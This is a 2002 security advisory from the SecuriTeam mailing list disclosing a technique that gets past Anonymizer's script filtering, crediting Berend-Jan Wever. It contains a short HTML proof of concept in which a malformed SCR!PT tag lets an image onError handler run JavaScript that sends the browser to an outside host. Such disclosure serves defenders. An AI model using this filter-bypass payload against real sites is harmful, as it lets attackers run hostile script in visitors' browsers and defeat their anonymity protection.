[NEWS] De-Anonymizer (SCRIPT Bypassing)

From: support@securiteam.com
Date: 04/25/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Thu, 25 Apr 2002 10:22:23 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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  De-Anonymizer (SCRIPT Bypassing)
------------------------------------------------------------------------

SUMMARY

A technique allowing the bypassing of Anonymizer's SCRIPT filtering
mechanism has been found. The technique would allow a malicious attackers
to insert hostile JavaScript into their web pages and cause visiting users
(even if they visit through Anonymizer) to execute it.

DETAILS

The new technique utilizes a <SCR!PT> (NOTE: The letter I has been
replaced with !) tag without a closing </SCRIPT> tag to fool Anonymizer
into allowing an onError event to pass filters. This allows an attacker to
execute JavaScript with obvious security breaches.

Example:
<HTML>
  <BODY>
    <SCR!PT>
    <IMG src="::" width="0" height="0"
onError="window.navigate('http://spoor12.edup.tudelft.nl');">
  </BODY>
</HTML>
(NOTE: The letter I has been replaced with !)

ADDITIONAL INFORMATION

The information has been provided by <mailto:skylined@edup.tudelft.nl>
Berend-Jan Wever.

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